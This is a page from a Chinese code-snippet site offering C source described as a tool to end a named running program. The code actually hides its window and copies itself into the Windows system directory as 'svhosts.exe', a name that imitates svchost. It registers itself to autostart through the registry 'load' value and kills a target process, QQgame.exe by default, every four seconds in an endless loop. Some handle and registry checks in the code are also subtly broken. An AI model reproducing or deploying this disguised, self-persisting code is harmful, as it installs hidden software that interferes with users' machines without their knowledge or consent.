结束正在运行的指定名称的程序代码,C代码库,德仔网

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【C】结束正在运行的指定名称的程序
作者:sapperjiang / 发布于2013/8/5/ 788

	// svhosts.cpp : Defines the entry point for the console application.
	//
	#include "stdafx.h"
	#include "windows.h"
	#include "tlhelp32.h"
	#include "stdio.h"
	#include "winbase.h"
	#include "winreg.h"
	//#define DEBUG 1
	//#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )

	
	DWORD GetPidByName(CHAR *ProcessName)//CHAR * ProName)
	{
	
	HANDLE hPSnap=NULL;
	PROCESSENTRY32 pe32 ={0};
	pe32.dwSize = sizeof(PROCESSENTRY32);
	
	hPSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
	
	if(hPSnap == INVALID_HANDLE_VALUE)
	{
	 return -1;
	}
	//printf("\nProcessName　　　　 ProcessID");
	 if(Process32First(hPSnap,&pe32))
	 {
	 do
	 {
	 // if(0 == wcscmp(pe32.szExeFile,ProcessName))//find exact filename
	 if(0 == stricmp(pe32.szExeFile,ProcessName))//if p1 contains P2
	 {
	 CloseHandle(hPSnap);
	 return pe32.th32ProcessID;
	 }

	 }while(Process32Next(hPSnap,&pe32));
	 }
	CloseHandle(hPSnap);
	return -1;
	}

	BOOL KillProcess(DWORD ProPid)
	{
	HANDLE hd= NULL;
	hd = OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProPid);
	if (hd == INVALID_HANDLE_VALUE)
	{
	 return false;
	}
	BOOL b=TerminateProcess(hd,0);
	CloseHandle(hd);
	return b;
	
	}

	
	BOOL CreateRegString(HKEY hRoot,CHAR *szSubKey,CHAR *valueName,CHAR *Data)
	{
	BOOL flag = TRUE;
	HKEY hKey ;
	LONG iRet = RegCreateKeyEx(hRoot,szSubKey,0,NULL,
	 REG_OPTION_NON_VOLATILE,
	 KEY_ALL_ACCESS,NULL,
	 &hKey,//get hroot HKEY HANDLE and stores it in hKey
	 NULL);

	if (iRet != ERROR_SUCCESS)
	{
	 #if DEBUG
	 printf("errorr %ls", szSubKey);
	 getchar();
	 #endif
	 flag = FALSE;
	}

	iRet =RegSetValueEx(hKey,valueName,0,
	 REG_SZ,(BYTE*)Data,
	 MAX_PATH);

	if(iRet != ERROR_SUCCESS)
	{
	 #if DEBUG
	 printf("error reset!%ls",valueName);
	 getchar();
	 #endif
	 flag = FALSE;
	}
	RegCloseKey(hKey);//close HKEY HANDLE

	return flag;//if no error occured, flag should be its original value true.

	}

	int CopySelfToSysPath(CHAR *ProgramName)
	{
	CHAR selfFile[MAX_PATH];
	CHAR sysPath[512];

	HANDLE fh = NULL;
	
	GetSystemDirectory(sysPath,sizeof(sysPath));//system path!
	
	GetModuleFileName(NULL,selfFile,MAX_PATH);//self path

	strcat(sysPath,ProgramName);

	//copyfilew: the second parameter is full file name (including file name)
	if(! CopyFile(selfFile,sysPath,FALSE) )
	{
	 //printf("Copy File Fail!");
	 //getchar();
	 return 0;
	}
	return 1;

	}

	
	BOOL SetAutoBoot( CHAR *ProgramName)
	{
	CHAR sysPath[512];
	BOOL flag = FALSE;
	GetSystemDirectory(sysPath,sizeof(sysPath));//system path!
	strcat(sysPath,ProgramName);
	
	flag = CreateRegString(HKEY_CURRENT_USER,
	 "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows",
	 "load",//convert ot CHAR format;
	 sysPath);
	return flag;

	}

	BOOL RetrieveRegValue(CHAR *PName)
	{
	
	HKEY hkey ;

	DWORD type(0);
	DWORD len(MAX_PATH);

	 if ( ERROR_SUCCESS ==RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows", 0, KEY_ALL_ACCESS, &hkey))
	 {
	 if ( ERROR_SUCCESS ==RegQueryValueEx(hkey, "Pro", 0, &type,(BYTE*)PName, &len))
	 RegCloseKey(hkey);
	 return true;
	 }
	 return FALSE;

	}

	

	int main(int argc, char* argv[])
	{

	
	CHAR pName[256]="QQgame.exe";
	
	FreeConsole();

	if(argv[1]!=NULL)
	{
	 CreateRegString(HKEY_CURRENT_USER,
	 "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows",
	 "PRO",//convert ot CHAR format;
	 argv[1]);

	}
	if( RetrieveRegValue(pName) != TRUE )
	{
	 strcpy(pName,"QQgame.exe");
	}
	if( CopySelfToSysPath("\\svhosts.exe") >0 )
	{;}
	if (TRUE != SetAutoBoot("\\svhosts.exe"))
	{;}

	DWORD pid;

	while(true)
	{
	 if (TRUE != SetAutoBoot("\\svhosts.exe"))
	 {;}


	 pid = GetPidByName(pName);

	 if(pid !=-1)
	 {
	 KillProcess(pid);
	 }
	 Sleep(4000);
	}


	return 0;

	}
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